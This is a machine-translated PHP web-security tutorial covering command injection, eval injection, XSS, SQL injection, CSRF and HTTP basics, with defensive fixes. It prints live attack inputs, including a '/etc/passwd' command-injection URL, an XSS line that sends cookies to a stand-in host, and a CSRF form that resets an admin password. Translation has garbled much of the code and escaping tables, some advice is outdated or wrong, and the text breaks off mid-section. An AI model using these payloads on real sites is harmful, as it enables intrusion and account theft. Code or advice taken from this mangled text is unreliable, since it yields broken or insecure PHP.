PHP vulnerability full solution (details)

Source: Internet
Author: User

PHP websites are vulnerable to the following attacks:
1. Command Injection)
2. eval Injection)
3. Script Insertion)
4. Cross-Site Scripting (XSS)
5. SQL injection attacks)
6. Cross-Site Request Forgery (CSRF)
7. Session Hijacking)
8. Session Fixation)
9. HTTP Response Splitting attack (HTTP Response Splitting)
10. File Upload Attack)
11. Directory Traversal Vulnerability (Directory Traversal)
12. Remote File Inclusion attack)
13. Dynamic Function injection (Dynamic Variable Evaluation)
14. URL attack)
15. Form submission spoofing attack (Spoofed Form Submissions)
16. HTTP request spoofing attack (Spoofed HTTP Requests)

Command injection attacks
PHP can use the following five functions to execute external applications or functions
System, exec, passthru, shell_exec, "(same as shell_exec)
Function prototype
String system (string command, int & return_var)
Command
Return_var stores the status values after Command Execution
String exec (string command, array & output, int & return_var)
Command
Output: obtain each line of the output string.
Return_var stores the status values after the command is executed.
Void passthru (string command, int & return_var)
Command
Return_var stores the status values after the command is executed.
String shell_exec (string command)
Command

Vulnerability instance

Example 1:
// Ex1.php
<? Php
$ Dir = $ _ GET ["dir"];
If (isset ($ dir ))
{
Echo "<pre> ";
System ("ls-al". $ dir );
Echo "</pre> ";
}
?>
We submit http://www.sectop.com/ex1.php? Dir = | cat/etc/passwd
After the command is submitted, the command is changed to system ("ls-al | cat/etc/passwd ");

Eval Injection Attack
The eval function executes the input string parameters as PHP code.
Function prototype:
Mixed eval (string code_str) // eval injection generally occurs when attackers can control input strings.
// Ex2.php
<? Php
$ Var = "var ";
If (isset ($ _ GET ["arg"])
{
$ Arg = $ _ GET ["arg"];
Eval ("\ $ var = $ arg ;");
Echo "\ $ var =". $ var;
}
?>
When we submit http://www.sectop.com/ex2.php? Arg = phpinfo ();

Dynamic Functions
<? Php
Func ()
{
Dosomething ();
}
Func B ()
{
Dosomething ();
}
If (isset ($ _ GET ["func"])
{
$ Myfunc = $ _ GET ["func"];
Echo $ myfunc ();
}
?>
Programmers want to dynamically call A and B Functions, then we submit the http://www.sectop.com/ex.php? Func = phpinfo vulnerability generation

Defense methods
1. Try not to execute External commands
2. Use a user-defined function or function library to replace the functions of External commands
3. Use the escapeshellarg function to process Command Parameters
4. Use safe_mode_exec_dir to specify the path of the executable file
The esacpeshellarg function will escape any character that causes the parameter or command end. Replace the single quotation mark (') with "\", double quotation mark ("") with "\" ", replace Semicolon ";" with "\;"
Use safe_mode_exec_dir to specify the path of the executable file. You can put the commands in this path in advance.
Safe_mode = On
Safe_mode_exec_di r =/usr/local/php/bin/

Client script Implantation

Script Insertion refers to inserting executable scripts into objects such as forms, images, animations, or hyperlink text. When the user opens these objects, the script implanted by the attacker will be executed, and then the attack will begin.
HTML tags that can be embedded as scripts generally include:
1. <script> tag-marked javascript, vbscript, and other page script programs. You can specify the js program code in the <script> label, or specify the URL path of the js file in the src attribute.
2. <object> tag object. These objects are java applets, multimedia files, ActiveX controls, and so on. Generally, the URL path of an object is specified in the data attribute.
3. <embed> tag object. These objects are multimedia files, such as swf files. Generally, the URL path of an object is specified in the src attribute.
4. <applet> tag-marked object. These objects are java applets. Generally, the URL path of an object is specified in the codebase attribute.
5. <form> tag objects. Generally, the URL path of the web application to process form data is specified in the action attribute.

Client script implantation attack steps
1. Attackers can log on to the website after registering a common user.
2. Open the message page and insert the attacked js Code.
3. Other users log on to the website (including administrators) and view the content of this message.
4. The javascript code hidden in the message content is executed and the attack succeeds.

Instance
Database
Create table 'postmessage '(
'Id' int (11) not null auto_increment,
'Subobject' varchar (60) not null default ",
'Name' varchar (40) not null default ",
'Email 'varchar (25) not null default ",
'Question' mediumtext not null,
'Postdate' datetime not null default '2017-00-00 00:00:00 ′,
Primary key ('id ')
) ENGINE = MyISAM default charset = gb2312 COMMENT = 'users' comments' AUTO_INCREMENT = 69;
// Add. php insert a message
// List. php message list
// Show. php displays the message

Submitted message

When you browse this message, the Javascript script is executed.
Insert the <script> while (1) {windows. open () ;}</script> unlimited dialog box
Insert <script> location. href = "http://www.sectop.com"; </script> to jump to the phishing page
Or use other self-constructed js Code for attacks.

Preventive Methods
The htmlspecialchars function is generally used to convert special characters into HTML encoding.
Function prototype
String htmlspecialchars (string, int quote_style, string charset)
String is the string to be encoded.
Quote_style is optional. The value can be ENT_COMPAT, ENT_QUOTES, and ENT_NOQUOTES. The default value is ENT_COMPAT, indicating that only double quotation marks are converted without single quotation marks. ENT_QUOTES, which indicates that both double quotation marks and single quotation marks must be converted. ENT_NOQUOTES, indicating that double quotation marks and single quotation marks are not converted
Charset (optional) indicates the character set used.
The function converts the following special characters into html encoding:
& --> &
"-->"
'-->'
<--> <
> -->
Change line 98th of show. php
<? Php echo htmlspecialchars (nl2br ($ row ['question']), ENT_QUOTES);?>
Then, view the vulnerability page for inserting JavaScript.

XSS Cross-Site Scripting

XSS (Cross Site Scripting) stands for Cross-Site Scripting attacks. To be different from Cascading Style Sheet (css ),
Cross-site Scripting is mainly used by attackers to read cookies or other personal data of website users. Once attackers obtain the data, they can pretend to be the user to log on to the website, obtain the permissions of this user.
Common steps for cross-site scripting attacks:
1. The attacker sends an http link of xss to the target user in some way.
2. The target user logs on to the website and opens the xss link sent by the attacker during the login.
3. The website executes the xss Attack Script.
4. The target user page jumps to the attacker's website. The attacker obtains the target user information.
5. Attackers use the information of the target user to log on to the website and complete the attack.

When a program with a Cross-Site vulnerability occurs, attackers can construct a http://www.sectop.com/search.php like this? Key = <script> document. location = 'HTTP: // www.hack.com/getcookie.php? Cookie = '+ document. cookie; </script>: the cookie value can be obtained after the user clicks
Defense methods:
Use the htmlspecialchars function to convert special characters into HTML encoding.
Function prototype
String htmlspecialchars (string, int quote_style, string charset)
String is the string to be encoded.
Quote_style is optional. The value can be ENT_COMPAT, ENT_QUOTES, and ENT_NOQUOTES. The default value is ENT_COMPAT, indicating that only double quotation marks are converted without single quotation marks. ENT_QUOTES, which indicates that both double quotation marks and single quotation marks must be converted. ENT_NOQUOTES, indicating that double quotation marks and single quotation marks are not converted
Charset (optional) indicates the character set used.
The function converts the following special characters into html encoding:
& --> &
"-->"
'-->'
<--> <
> -->

$ _ SERVER ["PHP_SELF"] Variable Cross-Site
In a form, if you submit a parameter to yourself, this statement is used.
<Form action = "<? Php echo $ _ SERVER ["PHP_SELF"];?> "Method =" POST ">
......
</Form>
$ _ SERVER ["PHP_SELF"] variable value: Current page name
Example:
Http://www.sectop.com/get.php
The preceding form in get. php
Then we submit
Http://www.sectop.com/get.php/ "> <script> alert (document. cookie); </script>
Then the form becomes
<Form action = "get. php/"> <script> alert (document. cookie); </script> "method =" POST ">
The XSS script is inserted.
The defense method is to use htmlspecialchars to filter the output variables, or to submit them to the form of the file.
<Form action = "" method = "post">
This prevents the $ _ SERVER ["PHP_SELF"] variable from being cross-site

SQL injection attacks

SQL Injection attacks are specially crafted SQL statements submitted by attackers in the form to modify the original SQL statements. If the web program does not check the submitted data, this will cause SQL injection attacks.

General steps for SQL injection attacks:

1. Attackers can access websites with SQL injection vulnerabilities to find injection points.

2. Attackers construct injection statements, which are combined with the SQL statements in the program to generate new SQL statements.

3. The new SQL statement is submitted to the database for processing.

4. The database executes new SQL statements, triggering SQL injection attacks.

Instance

Database

Create table 'postmessage '(

'Id' int (11) not null auto_increment,

'Subobject' varchar (60) not null default ",

'Name' varchar (40) not null default ",

'Email 'varchar (25) not null default ",

'Question' mediumtext not null,

'Postdate' datetime not null default '2017-00-00 00:00:00 ′,

Primary key ('id ')

) ENGINE = MyISAM default charset = gb2312 COMMENT = 'caller's message 'AUTO_INCREMENT = 69;

Grant all privileges on ch3. * to 'sectop' @ localhost identified by '123 ′;

// Add. php insert a message

// List. php message list

// Show. php displays the message

Page http://www.netsos.com.cn/show.php? Id = 71 there may be injection points. Let's test

Http://www.netsos.com.cn/show.php? Id = 71 and 1 = 1

Back to page

 

Submit

Once the record is found, once not, let's look at the source code

// Show. php 12-15 lines

// Execute the mysql query statement

$ Query = "select * from postmessage where id =". $ _ GET ["id"];

$ Result = mysql_query ($ query)

Or die ("failed to execute ySQL query statement:". mysql_error ());

After the parameter id is passed in, the SQL statement combined with the preceding string is put into the database for query.

Submit and 1 = 1, and the statement becomes select * from postmessage where id = 71 and 1 = 1. Both the values before and after the statement are true and the values after and are true. The queried data is returned.

Submit and 1 = 2, the statement becomes select * from postmessage where id = 71 and 1 = 2. The value before the statement is true, the value after the statement is false, and the value after and is false. No data can be found.

Normal SQL queries have formed SQL injection attacks after the statements we have constructed. Through this injection point, we can further obtain permissions, such as using union to read management passwords, read database information, or using functions such as mysql load_file and into outfile to further penetrate.

Defense methods

 Integer parameter:

Use the intval function to convert data into integers.

Function prototype

Int intval (mixed var, int base)

Var is the variable to be converted to an integer.

Base. Optional. It is the base number. The default value is 10.

Floating point parameters:

Use floatval or doubleval functions to convert Single-precision and double-precision floating-point parameters respectively.

Function prototype

Int floatval (mixed var)

Var is the variable to be converted.

  Int doubleval (mixed var)

Var is the variable to be converted.

Signature parameters:

Use the addslashes function to convert a single quotation mark (') to "\", a double quotation mark ("") to "\", and a backslash (\) to "\". add the Backslash "\" to the NULL Character

Function prototype

  String addslashes (string str)

Str is the string to be checked

We can fix the code vulnerability just now.

// Execute the mysql query statement

$ Query = "select * from postmessage where id =". intval ($ _ GET ["id"]);

$ Result = mysql_query ($ query)

Or die ("failed to execute ySQL query statement:". mysql_error ());

If it is character type, first determine that magic_quotes_gpc cannot be On. When it is not On, use addslashes to escape special characters.

If (get_magic_quotes_gpc ())

{

$ Var = $ _ GET ["var"];

}

Else

{

$ Var = addslashes ($ _ GET ["var"]);

}

Test again. The vulnerability has been fixed.

Cracking website forgery requests

CSRF (Cross Site Request Forgeries) indicates Cross-Site Request forgery, or XSRF. The attacker spoofs the HTTP request of the target user and then sends the request to a website with the CSRF vulnerability. After the website executes the request, it triggers a Cross-Site Request Forgery attack. The attacker uses a concealed HTTP connection to allow the target user to click the link without looking at it. Because the user clicks the link, the target user has the legal permissions, therefore, the target user can execute specific HTTP links on the website to achieve attackers.
For example, when a shopping website buys a product, it uses a http://www.shop.com/buy.php? Item = watch & num = 1. The item parameter determines the item to be purchased, and the num parameter determines the quantity to be purchased. If an attacker sends a link to the target user in a hidden manner
, if the target user accidentally accesses the product, the number of purchased items becomes 1000.

Instance
Suiyuan network PHP message board V1.0

Delete any message
// Delbook. php this page is used to delete messages
<? Php
Include_once ("dlyz. php"); // The user of dlyz. php verifies the permission. The message can be deleted only when the permission is admin.
Include_once ("../conn. php ");
$ Del = $ _ GET ["del"];
$ Id = $ _ GET ["id"];
If ($ del = "data ")
{
$ ID_Dele = implode (",", $ _ POST ['adid']);
$ SQL = "delete from book where id in (". $ ID_Dele .")";
Mysql_query ($ SQL );
}
Else
{
$ SQL = "delete from book where id =". $ id; // the ID of the message to be deleted
Mysql_query ($ SQL );
}
Mysql_close ($ conn );
Echo "<script language = 'javascript '> ";
Echo "alert ('deleted successfully! ');";
Echo "location = 'book. php ';";
Echo "</script> ";
?>
When we have the admin permission to submit http: // localhost/manage/delbook. php? When id = 2, the message with id 2 is deleted.
Usage:
We use the normal user message (source code), the content is


Insert four image links to delete the four id messages, and then return to the home page for viewing. There is no change .. The image cannot be displayed.
Now, after logging in with the Administrator account, refresh the Home Page. One message is left, and all other messages with the ID number specified in the image link are deleted.
The attacker inserts a hidden image link in the message. This link deletes the message, and the attacker does not have the permission to access these image links, so it cannot see any effect, however, when the Administrator logs on to the system, the system will view the message and execute the hidden link. the permission of the Administrator is large enough to delete the message.
Change administrator password
// Pass. php
If ($ _ GET ["act"])
{
$ Username = $ _ POST ["username"];
$ Sh = $ _ POST ["sh"];
$ Gg = $ _ POST ["gg"];
$ Title = $ _ POST ["title"];
$ Copyright = $ _ POST ["copyright"]. "<br/> Design and Production: <a href = http://www.115cn.cn> Xiamen Suiyuan Network Technology </a> ";
$ Password = md5 ($ _ POST ["password"]);
If (empty ($ _ POST ["password"])
{
$ SQL = "update ugly set username = '". $ username. "', sh = ". $ sh. ", gg = '". $ gg. "', title = '". $ title. "', copyright = '". $ copyright. "'where id = 1 ";
}
Else
{
$ SQL = "update ugly set username = '". $ username. "', password = '". $ password. "', sh = ". $ sh. ", gg = '". $ gg. "', title = '". $ title. "', copyright = '". $ copyright. "'where id = 1 ";
}
Mysql_query ($ SQL );
Mysql_close ($ conn );
Echo "<script language = 'javascript '> ";
Echo "alert ('modification successful! ');";
Echo "location = 'pass. php ';";
Echo "</script> ";
}
This file is used to modify the management password and website settings. We can directly construct the following form:
<Body>
<Form action = "http: // localhost/manage/pass. php? Act = xg "method =" post "name =" form1 "id =" form1 ">
<Input type = "radio" value = "1" name = "sh">
<Input type = "radio" name = "sh" checked value = "0">
<Input type = "text" name = "username" value = "root">
<Input type = "password" name = "password" value = "root">
<Input type = "text" name = "title" value = "Suiyuan network PHP message board V1.0 (with review function)">
<Textarea name = "gg" rows = "6" cols = "80"> you are welcome to install and use the PHP message board V1.0 on the Suiyuan Network (with the review function )! </Textarea>
<Textarea name = "copyright" rows = "6" cols = "80"> Suiyuan network PHP message book V1.0 copyright: xiamen Suiyuan Network Technology 2005-2009 <br/> undertake website construction and system customization to provide preferential host domain names </textarea>
</Form>
</Body>
Save it as attack.html and paste it on your website.

Defense methods
It is more difficult to prevent CSRF than to prevent other attacks, because although the HTTP request of CSRF is forged by the attacker, it is sent by the target user. Generally, there are several common preventive methods:
1. Check the webpage Source
2. Check the built-in hidden variables.
3. Use POST instead of GET
Check webpage Source
Add the following red font code to the // pass. php header to verify data submission.

If ($ _ GET ["act"])
{
If (isset ($ _ SERVER ["HTTP_REFERER"])
{
$ Serverhost = $ _ SERVER ["SERVER_NAME"];
$ Strurl = str_replace ("http: //", "", $ _ SERVER ["HTTP_REFERER"]);
$ Strdomain = explode ("/", $ strurl );
$ Sourcehost = $ strdomain [0];
If (strncmp ($ sourcehost, $ serverhost, strlen ($ serverhost )))
{
Unset ($ _ POST );
Echo "<script language = 'javascript '> ";
Echo "alert ('data source exception! ');";
&
Nbsp; echo "location = 'index. php ';";
Echo "</script> ";
}
}
$ Username = $ _ POST ["username"];
$ Sh = $ _ POST ["sh"];
$ Gg = $ _ POST ["gg"];
$ Title = $ _ POST ["title"];
$ Copyright = $ _ POST ["copyright"]. "<br/> Design and Production: <a href = http://www.115cn.cn> Xiamen Suiyuan Network Technology </a> ";
$ Password = md5 ($ _ POST ["password"]);
If (empty ($ _ POST ["password"])
{
$ SQL = "update ugly set username = '". $ username. "', sh = ". $ sh. ", gg = '". $ gg. "', title = '". $ title. "', copyright = '". $ copyright. "'where id = 1 ";
}
Else
{
$ SQL = "update ugly set username = '". $ username. "', password = '". $ password. "', sh = ". $ sh. ", gg = '". $ gg. "', title = '". $ title. "', copyright = '". $ copyright. "'where id = 1 ";
}
Mysql_query ($ SQL );
Mysql_close ($ conn );
Echo "<script language = 'javascript '> ";
Echo "alert ('modification successful! ');";
Echo "location = 'pass. php ';";
Echo "</script> ";
}
Check built-in hidden variables
We have a built-in hidden variable and a session variable in the form, and then check whether the Hidden variable is equal to the session variable to determine whether the same web page calls
<? Php
Include_once ("dlyz. php ");
Include_once ("../conn. php ");
If ($ _ GET ["act"])
{
If (! Isset ($ _ SESSION ["post_id"])
{
// Generate a unique ID and use MD5 for encryption
$ Post_id = md5 (uniqid (rand (), true ));
// Create a Session variable
$ _ SESSION ["post_id"] = $ post_id;
}
// Check for Equality
If (isset ($ _ SESSION ["post_id"])
{
// Not equal
If ($ _ SESSION ["post_id"]! = $ _ POST ["post_id"])
{
// Clear the POST variable
Unset ($ _ POST );
Echo "<script language = 'javascript '> ";
Echo "alert ('data source exception! ');";
Echo "location = 'index. php ';";
Echo "</script> ";
}
}

......

<Input type = "reset" name = "Submit2" value = "reset">
<Input type = "hidden" name = "post_id" value = "<? Php echo $ _ SESSION ["post_id"];?> ">
</Td> </tr>
</Table>
</Form>
<? Php
}
Mysql_close ($ conn );
?>
</Body>
</Html>
Use POST instead of GET
When passing form fields, you must use POST instead of GET and $ _ REQUEST instead of processing variables.

Http Response Splitting

HTTP request format

1) Request information: for example, "Get/index. php HTTP/1.1", request the index. php file

2) header: for example, "Host: localhost", indicating the server address

3) blank lines

4) information body

Both "Request Information" and "Header" must end with a line break (CRLF). blank lines can only contain line breaks, but cannot contain other space characters.

The following example shows how to send an HTTP request to the server www.yhsafe.com.

GET/index. php HTTP/1.1 // request information

Host: www.yhsafe.com // Header

// A space line symbol indicates the Enter key. After a blank line is entered, an HTTP request will be sent by pressing a space. In the HTTP Request Header, only the Host header is required to be hungry, the rest of the HTTP headers are determined based on the content of the HTTP request. HTTP Request Method1) GET: Request Response 2) HEAD: the same response as GET. Only the response header is required. 3) POST: send data to the server for processing. The data is contained in the HTTP message body. 4) PUT: Upload File 5) DELETE: DELETE file 6) TRACE: TRACE received requests 7) OPTIONS: Return Method of HTTP requests supported by the server 8) CONNECT: converts an HTTP request connection to a transparent TCP/IP channel. HTTP Response formatThe server sends the following response after processing the HTTP request submitted by the client. 1) The first line is the status code. 2) the second line starts with other information. The status code contains a number indicating the status and a word describing the status. For example, HTTP/1.1 200 OK200 indicates a number indicating the status, and OK indicates a word describing the status. This status code indicates that the request is successful.

Example of HTTP request and response

Open cmd, input telnet, and enter open www.00aq.com 80

Enter

Getindex. php HTTP/1.1

Host: www.00aq.com

Returns the HTTP response header.

Returned homepage content

Use PHP to send HTTP requests

The header function can be used to send HTTP request and response headers.

Function prototype

Void header (string [, bool replace [, int http_response_code])

Contact Us

The content source of this page is from Internet, which doesn't represent Alibaba Cloud's opinion; products and services mentioned on that page don't have any relationship with Alibaba Cloud. If the content of the page makes you feel confusing, please write us an email, we will handle the problem within 5 days after receiving your email.

If you find any instances of plagiarism from the community, please send an email to: info-contact@alibabacloud.com and provide relevant evidence. A staff member will contact you within 5 working days.

A Free Trial That Lets You Build Big!

Start building with 50+ products and up to 12 months usage for Elastic Compute Service

  • Sales Support

    1 on 1 presale consultation

  • After-Sales Support

    24/7 Technical Support 6 Free Tickets per Quarter Faster Response

  • Alibaba Cloud offers highly flexible support services tailored to meet your exact needs.